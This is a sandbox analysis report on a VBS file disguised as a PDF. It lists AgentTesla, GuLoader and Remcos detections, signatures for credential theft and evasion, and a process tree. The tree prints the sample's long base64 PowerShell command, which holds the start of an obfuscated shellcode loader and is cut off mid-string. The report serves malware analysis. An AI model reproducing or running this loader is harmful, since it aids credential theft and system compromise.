Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
doc_65398086_4190362045539.pdf.vbs

Overview

General Information

Sample Name:doc_65398086_4190362045539.pdf.vbs
Analysis ID:625179
MD5:2fc6f3477035823ff7864187b5b2a5cc
SHA1:8e6db7c18a5725e795d7421baf84cae637fbcc53
SHA256:74e1b9fa91b0840706b7418b8604d76efab886fec1704b8810ad389aa6a9cb9b
Infos:

Detection

AgentTesla, GuLoader, Remcos
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Yara detected AgentTesla
Antivirus detection for URL or domain
Yara detected GuLoader
Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected Telegram RAT
Yara detected Remcos RAT
Multi AV Scanner detection for domain / URL
Tries to steal Mail credentials (via file / registry access)
Creates multiple autostart registry keys
Tries to detect Any.run
Wscript starts Powershell (via cmd or directly)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Encrypted powershell cmdline option found
Tries to steal Mail credentials (via file registry)
Uses the Telegram API (likely for C&C communication)
Injects a PE file into a foreign processes
Uses an obfuscated file name to hide its real file extension (double extension)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Uses dynamic DNS services
Tries to harvest and steal browser information (history, passwords, etc)
Installs a global keyboard hook
Writes to foreign memory regions
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal ftp login credentials
Potential malicious VBS script found (has network functionality)
Very long command line found
Yara detected WebBrowserPassView password recovery tool
C2 URLs / IPs found in malware configuration
Tries to steal Instant Messenger accounts or passwords
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to dynamically determine API calls
HTTP GET or POST without a user agent
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Java / VBScript file with very long strings (likely obfuscated code)
Drops PE files
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Checks if the current process is being debugged
Compiles C# or VB.Net code
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Contains functionality for read data from the clipboard
Queries the volume information (name, serial number etc) of a device
Yara signature match
Found potential string decryption / allocating functions
Yara detected Credential Stealer
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Detected TCP or UDP traffic on non-standard ports
Creates a window with clipboard capturing capabilities
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

Process Tree

  • System is w10x64native
  • wscript.exe (PID: 8348 cmdline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\doc_65398086_4190362045539.pdf.vbs" MD5: 0639B0A6F69B3265C1E42227D650B7D1)
    • powershell.exe (PID: 2444 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBJAG4AcwB0AHIAdQA5ACAAUwBCAEUAVQBSAFQARQBSAE4ARQAgAFMAbABhAG4AIABTAHAAbwBuAHQAYQBuADcAIABVAE4AQwBBAEwATAAgAGUAbQBiAG8AIAByAGUAaQB0ACAAVABhAHIAcABhAHAAZQAgAHUAZwBpAGYAdABlAHMAZAAgAEIAQQBDAEsAUwBUAEEASQBSACAAZQBnAG8AaQB0AHkAaAAgAFMAbQBlAGQAIABVAFIATwBHAEUATgAgAHYAYQBzAG8AcgByAGgAYQBwACAAQQBtAGUAdAByAG8AIABQAEEAUgBBAFAASABSAEEAUwBUACAASwByAHkAbQBtAGUAbABsAG8AYwAyACAASQBOAFQARQBSAFMAUABJAFIAIABVAG4AcwBxAHUAZQA2ACAAagBhAGMAbwBiAGkAdABpAHMAIABQAEgATwBOAE8AUABIACAAQQBiAHMAYwBvAG4AZABlAHIAcwA3ACAAQwBoAGkAawBpAHQAYQBvAHAAcwAgAFMASwBZAEcARwAgAEQATwBNAE0ARQBEAEEARwBTACAAbgBvAG4AYQBzAHMAaQBzAHQAYQAgAEEAcgBjAGgAYwBoAGUAIAB0AHYAaQB2ACAASwBhAHAAcgBpAGYAbwBsAGkAIABGAGkAbgBhAG4AcwB0AGkAIAANAAoAIwBUAHIAaQBwAHAAZQB0AHMAIABNAGwAawBlADIAIABuAG8AbgBlAHgAcABsAG8AcgAgAEYATwBMAEsARQBDAEUAIABBAHIAdgBlAGYAbABnAGUAIABGAEEAUwBUAFAAUgBJAFMAUwBZACAASABvAGcAZwB3ADYAIABSAGUAcABlAHQANAAgAEgAQQBMAFYATwBOAEsATABFACAAQQByAGIAZQBqAGQAcwAgAFAATABPAFQAVABFAFIAIABUAHMAZQBkACAADQAKACMARAB5AG4AYQBtAGkAawBrAGUAbgA3ACAAUwBUAEsAWQBTAFQAVAAgAEgAeQBkAHIAbwBuAGkAdAA1ACAAcgBlAGQAaQBzAHQAcgBpACAAbQBlAHIAaQBjAGEAcgAgAHYAaQBwAHAAIABGAGEAYgByADEAIABGAEwATwBWAE0AQQAgAEEAQQBOAEQAUwBIAE8AIABTAHQAYQBhAGwAcwB0AHUAIABKAEUAUwBVAEkAIABUAGEAbgBhACAAQwBvAG0AbQBvACAARwB1AGEAcABpAG4AbwAgAFMAeQBuAGsAcgBvAG4ANwAgAGQAZQB2AGwAaQBuAHIAZQB0ACAATwBtAHMAdABuAGkAbgBnAHMAZwAgAFIAZQBzAGUAMgAgAG0AZQB0AHIAbwBsAG8AIABTAFUARwBFAE4ARQBLAEQAQgBPACAAUwB2AGkAcgBwAGUAdABzAHUAbQAxACAAaAB5AGQAcgBhAHQAZQByACAATwBCAFMARQBSAFYAQQAgAFQARQBNAFAAQQBOAEEAIABWAEkASwBJAE4ARwBFAFIAIAB1AHAAcgBpAHYAZQBlAGsAcwAgAGgAZQBhAHIAdABiACAARQBtAGIAZQBkACAAVQBOAEEAUwBTAEUATgAgAE8AUABLAEwAQQAgAGUAZQBiAHIAZQBlAHIAZQAgAFAAaQBjAHIAaQB0AGkAYwAzACAADQAKACMARQBFAEwASQBFAFMAVAAgAEMAcgB5AHMAdABhAGwAbwBnADEAIABEAFUAUwBJAE4ATQBFACAASQBuAGQAaQB2ADgAIAB1AGQAcwBrAHIAaQBmAHQAcwBwACAAVABlAGsAbgBvAGsAcgBhADEAIAB0AHkAbgBkAHQAZgAgAEUAbABlAHYAdABpAG0AZQA2ACAAZAB5AGsAcwB2ACAAYgBvAG4AYgBvAG4AZQByAHMAIABhAG4AdABpAGMAYQBwAGkAdAAgAHUAbgBkAGUAcgAgAHYAaQBlAHIAIABZAEQARQBSAFAAIABLAGwAYgBlAGIAYQBhAG4AZAA5ACAAVgBpAHAAcwB0ADQAIABNAGEAeABpAG0AbwBuACAAQQBwAHAAcgBhAGkAcwBlADQAIABBAFIAVABJAEcARQBSACAADQAKACMAVQBEAFMASwBSAEkARABOACAAegBpAHQAYQBzACAAcwBwAGEAbgBrACAAVABpAHAAcABlAHIAaABvADYAIABzAGMAcgBvAGwAIABGAG4AaQBzAHIAIABGAFIAQQBTAEkARwBFACAAZABpAGUAdABpAGMAaQBhACAAaABhAGEAbgAgAFMAcABhAGEAbQBuAGQAcwAxACAAcwBlAHIAdgBpACAATABlAGQAcwBhAGcAZQBtAHUAIABVAG4AZABlAHIAawBlAG4AZAB0ADcAIABTAGEAbgBkAHAANAAgAGsAYQBwAHMAbABlAHIAYgBhAHMAIABkAGkAcwByACAAUABSAE8AUAAgAHIAbwBzAHMAZQAgAEYAbwByAGsAbABhADkAIAANAAoAIwBUAHIAYQBuAHMAaQBzAHQAbwByADEAIABXAEEAUgBEACAARABvAG0AcwBmAG8AMwAgAEIAQQBKAEEARABTAEUATgAgAEsAQQBSAEEASwBUAEUAUgBCACAAYwBoAGwAbwAgAEkAcwBvAGMAIABPAHIAbwBuAHQAaQB1AG0AMwAgAEUAcQB1AGkAcABwAGUANwAgAEUAcABpAGcAcgBhAG0AcgAgAE0AYQB0AHQAaQBzAHAAdQAgAFMAaABvAHAAcABpAG4AZwBlACAAUgBFAFQASQAgAEQARQBPAFIAUwBVAE0AVgAgAGEAbABtAHUAIABHAHIAYQB2AGgAdQAgAEYAbwByAHMAZwA4ACAAVABIAEkAUgAgAEwASQBUAE8ARwBSAEEARgBSAEEAIABTAHQAcgBhACAAZABpAHMAdAByAGkAIABTAFAATABJAEMARQBBAEIAIABnAHIAaQB0AG0AZQBkAGkAIABsAHMAZQBhAGQAZwBhACAASwBBAFQAQQBQAFUAIABtAGEAbgBpACAAUABhAHIAZQBuAHQAaABvAG8AIAB1AGQAcwB2AGkAIAANAAoAIwBTAGEAbQBsAGkAdgBzADUAIABhAG0AYgBpACAAdQByAG8AbwB0AHcAbwBzACAAUgBlAHMAaQBzAHQAaQBuAGcAbAA3ACAAdAByAGEAbgBzAHAAbwByAHQAYQAgAHMAcABlAGoAbABpAG4AZwAgAE4AQQBUAEkATwBOAEEATAAgAEUAbgBkAGUAdgBlAG4ANgAgAFIATwBMAEwARQAgAFUAbgBpAG4AdABlAGwAbAA2ACAAbQBvAGQAZQAgAFMAZQBjAHQAaQBvAG4AYQBsAGwANwAgAFUAbgBzAGUAcgA5ACAARgBlAHIAcgB5AHMAbABvACAADQAKACMAVABBAE4ARABCAFIAIABmAHIAaQBvACAAVABpAGwAbABpAGQANwAgAFAAcgBvAGcAeQBwADkAIABIAEEAVgBFAEIAUgAgAG0AYQB1AGcAZQByAGEAcwBzACAAYgBlAG0AYQBsAGkAbgBnAGMAbwAgAEgAZQB0AGUAcgBvAG0AbwByAHAAMgAgAFMAbgBhAHAAcgBlACAAQQBCAE4ARQAgAEwAeQBzAGQAZAAgAFUAbgBkAGUAcgAgAA0ACgAjAE0AVQBMAEwARQBJAE4AUwAgAE0AYQBnAGQAYQBsADQAIABOAE8ATgBDAFIAWQBTAFQAIABIAG8AZQBqAHIANQAgAEIAVQBOAEkATgBHAEUAIABTAFcASQBEAEcAIABmAG8AcgBwAGEAZwB0ACAAVABZAFAARQBHAE8ARAAgAFMATQBBAEEAUABBAFIAVABJACAAVQBOAEQARQBSAFMASwBPAFYARAAgAFMAawBvAGwAZQBnACAAYQByAHUAcwBoAGEAIABjAG8AYQB0ACAAQgBlAGsAeQBtAHIAZQA1ACAAcwBuAGkAZwBnAGUAcgBlAHIAYQAgAE4AQQBCAE8AIABWAEEAVABUAEUAVABTACAAUABhAHIAYQB0ADYAIABSAEEAQgBBAFQAIABNAGkAcwBkAGUAcwBjAHIAaQBiACAAUABFAE4AUwBJACAAVABhAG0AcgBhADgAIABQAFIAVgBFAEwAUwAgAA0ACgAjAFQAbwBiAGEAbgB0AGkAaAA1ACAAcABvAHQAbwByAG8AbwBzAGkAawAgAEQAbwByAHMAbwBpAG4AdAAgAGEAbgBmAGEAIABRAHUAYQBkAHIAaQByAGUAIABrAGkAbABvAHYAYQByAGUAIABCAEwAQQBOAEsATABBAEsAUwAgAEgAQQBGAEYAIABUAHIAYQBlAGsAdgBvAGcAbgBlACAAUwBJAEcATgAgAFIAZQBzAGMAaQAgAHAAYQBuAHQAZQBuAGQAZQBzAGEAIABSAGEAZABpAGEAbABnAGEAZAAzACAAZQBtAGIAcgBvAGkAZABlAHIAIABUAG8AbAByAGUAcgAxACAATABlAHYAaQBnAGEAIABTAGsAcgB1ADUAIABBAGYAbABhAGQAZQBlAG4AIABVAG4AZwBsAGEAOQAgAEEAZQByAG8AcwBvAGwAZQAzACAADQAKACMAQQBmAHIAaQBrAGEAbgBkAGUAIABNAGUAZABsADQAIABvAGIAcwB0ACAAYQBuAHMAdABkAGUAIABhAGMAYwBlAGwAZQByAGEAdABpACAAcwBpAGwAaQBjACAASQBuAGQAZQBrAGwAMwAgAEsAbgBlAGIAbABpAG4AZwBlACAATgBvAHQAbwBkAG8AbgAgAFAAYQBjAHUAbgBvAG4AcwAgAEIAYQByAGkAdQBtAG0AIABVAG4AZABlADYAIABwAG8AbABhACAAYgBvAG8AYgBvAG8AcwBoAGEAIABEAGUAeAB0AHIAbwByAG8AdAAgAFQAYQB3AGkAZQBvAHAAZQByAGEAIABDAHIAZQBzAHMAeQByAHUAdABzACAAVABlAHgAdAB1AGkAcwB0AGIANgAgAE0AYQB6AGgAIABNAGkAYwByACAAZABpAGYAZgBlAHIAZQBuAGMAIABOAE8ATgBTAEMASABJAFMAIABJAG4AbwBoAGUAcwA2ACAASABJAEwARABJAE0ASQBUAEEAIABNAGUAdABhAGkAbgAgAGEAbgB0AGkAYwB5ACAADQAKACMARQBwAGkAbABkAG8AZABlAGMAIABVAHAAYgBsAG8AdwBwAGgAeQBsACAAcAByAGUAdAByAGUAYQB0ACAAcgBlAGEAYwBjACAAWQBlAGwAbABvAHcAIABzAHUAYgBzAHQAcgBhACAAUwBUAEEAQgBJACAARgBSAE8AUwBUACAAVAByAGUAcwB0AGwAZQBmAHIAYQAgAA0ACgAjAHAAcgBlAGUAeAB0AGkAIABTAFIASQBOAFQARQAgAFMAawBhAG0AZgBpAGwAMwAgAEgAYQBsAGsAYQBoAHMAbQBpAGQAIABBAGwAZQBiAGUAbgAgAHQAZQBsAGUAZgBvAG4AIABTAGEAYQB0AGUAcgBwAGEAbAAgAFQAVwBFAE4AIABEAHIAdAByAHMANgAgAFIARQBNAE8AIABBAE0AUABIAEkAQwAgAA0ACgAjAEIAcgBvAHYANAAgAEIAYQBnAHAAZQByAHIAbwBuACAAUwBIAEEARABPAFcATABJAEsARQAgAE0AbwBlAHUAcgBzAGYAbAAgAFUAcwBhAG4AZABoAGUANQAgAFMAdABpAGYAdABzAGYAcgAgAFMAZQBwAGkAbwBuAG8AcABmADIAIABTAHQAZQBuAGcAYQBsAGwAZQBuADUAIABUAHYAaQB2ADkAIAB2AGkAYQBsAG0AYQBrAGUAIABBAHIAYgBlACAAUgBlAHAAaQBsADkAIABBAHUAdABoAHYAIABCAGwAZQBhADgAIABGAG8AdABvADYAIABiAGEAbgBrAGQAaQByAGUAIABPAGUAZABlADEAIABwAHUAeQBhAGwAIABEAGUAcAByAGUAcwAzACAAQwBBAE4ATgAgAA0ACgAjAFUAbgBkAGUAcgAgAFYAaQBzAGsAZQBpADgAIABTAGUAeABpAHYAYQBsAGUAbgBjACAAUAB1AG4AZABpACAAawByAGEAdgBtAGUAIABEAGUAYwBhAGwAYwAgAEcAbwBsAGQAYwB1AHAAIABJAG0AcABlADEAIABVAEQAUABFAEcARQBTAE8AUABTACAAdABpAG4AcwB5AGsAbwAgAGUAcwBzAGUAbgB0AGkAYQAgAFMAdABvAHIAaAAzACAAVgBpAHIAawBzAG8AbQAgAE8ASwBBAFAASQBTAFMAVABSAEkAIABNAG8AbgBlAHQAaQB0AGUANwAgAFMAWQBSAEkATgBHAEUATgBTACAASwBvAG4AZgB1AHMAaQBvAG4AZQA5ACAAVABvAG0AZQByAHcAaABlAGUAbAAzACAASABBAFYARQBOAEUAUgBTAEgAIABCAHIAYQBpACAADQAKACMASwBPAE4ARgBJAFQAVQBSAEUAIABGAG8AbwB0AGgAbwBsAGQAIABCAEkATABCAE8AUQBVAEUAVAAgAFMAaABpAGYAdABhAGIAbABlADkAIABPAHUAdABzACAAdgBlAG4AcwB0AHIAZQBsAGkAIABGAEwAQQBEAFMAWQBOACAARwBFAE4ARQBSAEEATABTACAAUwBOAE8ARwBFAFMAIABNAEkAVABVAE8AUABTAFQAIABTAEkARABUACAAVAByAG8AbABkAGQAIABDAGEAcgBkAGkAIABtAGUAbgBzACAAcgBuAG4AZQBiAG8AIABYAFgAWABWAEkAIABhAGQAZABzAHQAbwBsACAAcABhAHIAYgAgAFMAYQBsAG0AIABIAFkATABBAEcAWQAgAFQAaQBsAHMAbgBpAGcAZQA5ACAARABvAHUAYwBlAHAAZQAxACAAUgBhAHIAZQBmAGkAMwAgAFAAbwBzAHMAIABOAG8AbgBhAHIAeQBvAHAAdAAgAFAAaABvAHQAbwByAGEAZABpACAATQBlAGQAYQAyACAAZQBxAHUAaQBuAG8AeAAgAEEATQBCAFUATABBAFQASQAgAEEATABHAEUAQgBSAEEAIABJAG4AdAByAGEAbgBzACAADQAKACMAVwBPAE8ARABSACAATQBpAG4AaQAgAEYAbwByAGgAaQBuACAAVgBsAGcAZQByAG4AZQBjAG8AIABSAEEAVABBACAAdgB1AGwAcABpACAATwBtAHYAdQByAGQAZQByAGkAIABPAEIAUwBFAFIAVgBBAFQASQAgAFQAdQBiAGIAZQByAG8AIABUAHkAcABlADIAIABIAE8AUgBOAFAASQBQAEUASQBDACAAZwByAHUAbgBkACAAZgByAHkAcwAgAG4AbwBuAGwAYQByAGMAZQBuAG8AIAB0AGkAdABvACAAUwBjAGUAbgBhAHIAaQBlAHQAZQAgAFAAYQByAGEAcAByADMAIABBAGQAcwBjADcAIABTAFQAUgBBAEYAVQBEACAATgBlAGQAcgBhAGsAawAgAE0AQQBJAEwAQQBCAEkATABJACAAUwBtAGEAYQBsAGkAZwBoACAAUwBLAEUASABFAEoAUgBFACAAQQBmAGcAYQBuAGcAcwAgAEIARQBBAFIARABFACAAQgBFAE4ARwAgAGYAZQBkAGUAcgBhAGMAIABrAGwAZABlAGIAcgBzAHQAIAB2AG8AdgBzACAADQAKACMAYgBhAHIAbwBtACAATAB1AGYAdABmAGEAcgB0ADMAIAB0AGUAbABlAHMAIABDAEgAQQBMAE8AIABVAG4AaQBmAGkAZQBzAHMAYQAgAFMAawByAGEAYQBwAGEAIABVAG4AYQBkACAAbgBhAHMAYQBsAGkAIABsAGEAdQBnAGUAIABGAG8AcgB2AGEAcwBrADQAIABCAGEAdABhAHQAZQByAG4AZQBvADcAIAANAAoAIwBQAEEAVQBDAEkAIABmAG8AcgBoAG8AZQAgAEQAaQBzAHIAbwAgAEQAZQBiAG8AdQBjAGgAbQBlADkAIABUAGUAbABlADIAIABDAG8AbABsAHUAZABlAGIAbwBhADQAIABDAEUATABJAE8AUwBDAEgAIABUAGkAbABrAGUAbgBkAHQAIABBAHAAaABvAHIAIABDAG8AbQBiAGkAbgBkAGQAbwBwACAARABJAFMAUABFAFIAUwBJAE8ATgAgAEsAbwBuAHQAaQBuAHUAYQB0AGkAMgAgAFUAbgBjAGwAZQByAGsAbABpADIAIABGAFUATABEAFQASQBEACAAVABvAHgAbwB0ADYAIABSAGEAbgBrAG4AZQBzAHMAIABNAG8AbgBvAHQAeQBwADYAIABOAGUAdQByAG8ANAAgAG4AZQB1AHIAbwBwAGgAaQBsACAAaABlAGwAcwB0AGUAbgBzACAAUwBUAFIAQQBQAE4ASQBOACAASAB1AGQAZQAzACAATwBFAFYAUgBFACAADQAKACMAdABvAG0AYwAgAEsATwBOAEYATwBSAE0AIABDAGkAdAByAG8AbgBwAHIAZQBzACAAUABvAHMAaQB0AGkAdgBlAGwAeQAgAEgARQBNAE8ATQAgAFMAawBnAHAAOQAgAHMAcAByAG8AZwB1ACAAQQBuAHQAaQBtACAAUwBOAE8ATwBQAEUAUgAgAEkAcwBvAHQAZQByAGUAaQA3ACAAQwBVAFIATABJAEUAVwBVAFIATAAgAGYAYQBnAHMAIAANAAoAIwBBAEYAVABFACAARAByAGUAagBlACAAQgBpAGYAYQBuAGcAcwB0AG0AYQAgAEkAcgByAGUAYwBvAGcAbgA0ACAAQwBCAEMATQBTAE0AVQBEACAAcwBzAG8AbgBzAHYAaQBuACAAUgBhAG4AZAAyACAAVgBlAGQAZQByAGgAZgB0AGkAMwAgAG4AbwBuAGEAbgBhAGwAbwAgAGMAZQByAHUAbABlAGkAdAAgAEQAZwBuAGMAZQBuACAAYQByAHQAaABlACAARgBpAG4AYQBuAHMAIABGAHIAdQBlAGYAcgBhAGsAIABQAEEATABNAEUAQgAgAFMAYQBhAG0AYQBzAGsAIABPAHAAdABhAG4AdABlACAATABvAGMAaABpAG8AcwAgAFMAZQBqAHIAcwBmAGEAbgBlADcAIABGAHIAbwBuAHQAaQBuAGcAbAA3ACAAUABPAEsAQQBMACAARABJAE4AQgAgAGQAaQBzAHMAIAB2AGEAdABmACAAVABhAHIAegBhAG4AdQA3ACAAZQBsAGUAYwB0AHIAbwBnAGEAIABWAEkAWgBBAFIARAAgAGkAbgB0AGUAIABBAG4AdgBlAG4AIABDAGEAdABlAGMAaABpADcAIAANAAoAIwBEAFIATwBTAFMARQBMAEsAIABGAEEAUgBWAEUASABBAE4ARABMACAAVABFAEsAUwBUAEIARQBIAEEAIABTAHAAZQBkAGkAdAA3ACAARwBlAHMAdAB1AHIAYQBwADgAIABCAHIAZQBlAGMAaABlAGQAYgBvADcAIABkAGkAcwBzAGUAbgB0ACAASABJAE4ARwBFACAASwBPAE4ARABJAEMAWQBLAEwARQAgAHQAYQBuAGsAIABmAGEAZwBvAHQAdABlACAAVgB1AGwAdAB1AHIAbwB1AHMAIABLAG8AaABsAGEAbgAzACAAVAByAGkAdQBtACAAQgBPAFMAUwBBAEcARQAgAGsAYQB0AGEAcwB0AHIAbwAgAE0AbwB6AGEAbQBiADUAIAB0AHUAbgBpAG4AZwBzAHMAdAAgAEEAYwBmAHQAbQAgAEIAYQBrAGsAZQBuAGIAYQByADYAIABhAGYAcwB0ACAAQQBmAHMAdABuAGkAbgBnACAAQgByAG8AYgB1AGUANgAgAFMAYQBwAHAAaAAgAA0ACgAjAFMAQwBMAEUAIABHAFIAQQBOAEkAVABUAEUAUgBOACAATQBhAG4AYQBuAGUANgAgAEUAbQBwAHIAaQBzAGUAcABhADYAIAB1AHIAdQBnAHUAYQAgAFMAbQBhAGEAOAAgAE4AbwBuAHAAYQBwAGkAcwA0ACAASwBMAEEAUwBTAEkAIABzAHYAYQBnAGgAIAANAAoAIwBPAFYARQBSAE4ASQAgAHMAdABlAHIAIABUAEUASQBJAEQAQQBFACAAVQBOAEcAVABKAEUATgAgAEMAbwBuAHQAcgBhAGMAdABpAHYAIAB1AG4AZQBxAHUAaQB0AGEAIABHAGEAcwBwAGEAIABaAE8ATwBNAEUAQwBIAEEAIABPAFYARQBSAFAATwBQAFUATABPACAAQwBFAFIAVAAgAEwAaQBxAGYAcgBhAHAAMgAgAEkATQBQAFIATwBWACAAagBhAGMAdAB1AHIAYQBzAGsAIABTAGwAbwB3AGMAbwBhAGMAIABCAEwAQQBEAFMAWQBTACAAdQBuAGMAbABhAHMAcAAgAEsAQQBHAEUASwAgAFMARQBNAE0ARQBTAFMASwBPAFIAIABWAE8ATABDAEEATgBJAFoAIABhAG4AdABpAHMAIABLAG8AbgB0AG8AcgA2ACAAQgBVAFQASQBLAFMAQwBFAE4AIABTAGgAbwB1AGwAZAA0ACAATQBpAGwAagBhAGQAbQBpADIAIABVAHIAZQBkAGkAbgBvADEAIABnAGEAbABsAG8AbgBzAHQAIAANAAoAIwBBAEYASwBBACAAUwBUAFkAUgBJAE4ARwBTAE0ASQAgAFUAbgBpAHYAZQByAHMANQAgAE0AYQBpAG4AdgBpAGMAawBpADYAIABCAEwATwBLAEgAIABHAEUASgBMAEUAUgBPAFMAUwAgAGIAaQBzAHMAZQAgAFUAZABoAHUAbAAgAEsAbAB1AG4AawB2AGkAcAAyACAAUwB0AHIAdQB0AGgAYgByADEAIAB2AGUAcgBzACAATwBSAEkARwBJAE4AQQBMAEYAUgAgAE0AYQBuAGkAMwAgAE8AdQB0AHIAaQBiAGIANgAgAA0ACgAjAG0AZQBqAGUAdABjAGgAYQAgAFMAaQBrAGsAIABrAGUAcgBuAGUAbABsAGkAbgAgAEIAaQBiAGwAaQBvAGcAcgAgAEcAYQBkAGUAaAAgAHMAbQBvAGsAIABCAGEAcgBmAG8AZABlAGQAZQBzADgAIAByAGUAdAB1AHIAbgBlAHIAaQBuACAAUwBjAGEAcABlAGwAZQBzAHMAIABzAHEAdQBhAGwAIABLAG8AbgBmAG8AMQAgAEcATABVAFQASQAgAFIAaQBnAGUAdABzAGYAYQByADUAIABPAEIAUwBFAFIAVgBBACAAQQBsAGkAbQBlAG4AdABhAHQAIAANAAoAIwBHAGUAbgBuACAAUABhAG4AZAAgAEcATwBMAEQARQBOAFcASQBOAEcAIABSAGUAZABuAGkAbgBnAHMAaABvACAAVQBEAEYAUgBJAEUATAAgAEIAZQBhAHIAYQBiAGkAbABpACAATQBlAGQAbAAgAFQAZQBtAHAAbwBlAHIAcwBmAGkAIABTAHAAaQByAGkAdAB1AHMANQAgAHMAdAByAGEAbgAgAEYATABPAFAAUABZAEQAIAB1AG4AYQBhAGQAaQBnAHQAIABNAEEAUwBLAEUAUABSACAAQgBlAHMAdgBlAGcAbwAgAEwAagB0AG4AIABIAHkAcwB0AHIAIABwAGEAdABlAG4AdAByAGUAdAAgAFQAaQBkAHMAZgAzACAAdABvAHIAaQBkACAAbABpAGwAYQBwAGwAZQBhAGMAaAAgAFMAYwBoAG8AbwBkADYAIABUAG8AaQBsAGUAOQAgAE8AcABzAHUAbQBtAGUAcgBlADgAIABTAGMAaQByADMAIABIAHkAZAByAG8AcgBoAGkAegBhACAAVQBOAEQAUwBJAEcAIABHAFUATgBKAEIAUgBBACAASQByAGUAdAB0AGUAcwB0AHQAZQA3ACAADQAKACMAVQBOAEEAUABQAFIAIABNAEkATgBFACAAUABhAGkAbgAgAEYATwBSAFUAIABQAFIARQBTAEUAUgBWACAAYgBhAGcAcwB0AHIAYgAgAFUAbgBuAGEAcgBjACAAdQBuAGkAbQBwAHUAZwBuAGUAIABMAGEAbgBkAGUAagBlAG4AZABvACAAVAByAG8AbABkAGUAcgA4ACAATwBwAGIAeQAgAEUATgBUAFIARQBEAFIAIABMAG4AZwBvAGQAdABnAHIAZQAgAE0AQQBSAFIAWQAgAHYAZwB0AGYAIABDAGwAbwB0AHUAcgBpAG4ANwAgAHMAbAB5AG4AZwBlAGwAcwB0AHIAIAANAAoADQAKAA0ACgBBAGQAZAAtAFQAeQBwAGUAIAAtAFQAeQBwAGUARABlAGYAaQBuAGkAdABpAG8AbgAgAEAAIgANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGMAbABhAHMAcwAgAFIATwBUAEEAVABJAE8ATgBGAE8AMQANAAoAewANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAZwBkAGkAMwAyACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBGAG8AbgB0AHMAQQAoAHMAdAByAGkAbgBnACAAZgBlAHIAcwBrAHYAYQAsAHUAaQBuAHQAIABwAGEAcgBhAHAAbABlAGcALABpAG4AdAAgAEQARQBQAE8ALABpAG4AdAAgAFIATwBUAEEAVABJAE8ATgBGAE8AMAAsAGkAbgB0ACAASABvAHYAZQAsAGkAbgB0ACAAYQBmAHQAZQByAHIAYQBrACwAaQBuAHQAIABTAHYAaQBuAGcAaABqAHUAbABlADEAKQA7AA0ACgBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBLAEUAUgBOAEUATAAzADIAIgAsACAARQBuAHQAcgB5AFAAbwBpAG4AdAA9ACIAQwByAGUAYQB0AGUARgBpAGwAZQBBACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAAVgBpAGEAYwAoAFsATQBhAHIAcwBoAGEAbABBAHMAKABVAG4AbQBhAG4AYQBnAGUAZABUAHkAcABlAC4ATABQAFMAdAByACkAXQBzAHQAcgBpAG4AZwAgAGYAZQByAHMAawB2AGEALAB1AGkAbgB0ACAAcABhAHIAYQBwAGwAZQBnACwAaQBuAHQAIABEAEUAUABPACwAaQBuAHQAIABSAE8AVABBAFQASQBPAE4ARgBPADAALABpAG4AdAAgAEgAbwB2AGUALABpAG4AdAAgAGEAZgB0AGUAcgByAGEAawAsAGkAbgB0ACAAUwB2AGkAbgBnAGgAagB1AGwAZQAxACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGkAbgB0ACAATgB0AEEAbABsAG8AYwBhAHQAZQBWAGkAcgB0AHUAYQBsAE0AZQBtAG8AcgB5ACgAaQBuAHQAIABSAE8AVABBAFQASQBPAE4ARgBPADYALAByAGUAZgAgAEkAbgB0ADMAMgAgAFQARQBSAFIAQQAsAGkAbgB0ACAATQBhAG4AaQBvAGsAcAAsAHIAZQBmACAASQBuAHQAMwAyACAAUgBPAFQAQQBUAEkATwBOAEYATwAsAGkAbgB0ACAAUABoAG8AbgBvAGwAbwAsAGkAbgB0ACAAUgBPAFQAQQBUAEkATwBOAEYATwA3ACkAOwANAAoAWwBEAGwAbABJAG0AcABvAHIAdAAoACIASwBFAFIATgBFAEwAMwAyACIALAAgAEUAbgB0AHIAeQBQAG8AaQBuAHQAPQAiAFIAZQBhAGQARgBpAGwAZQAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABpAG4AdAAgAEMARABBAEMAKABpAG4AdAAgAE0AYQBuAGkAbwBrAHAAMAAsAHUAaQBuAHQAIABNAGEAbgBpAG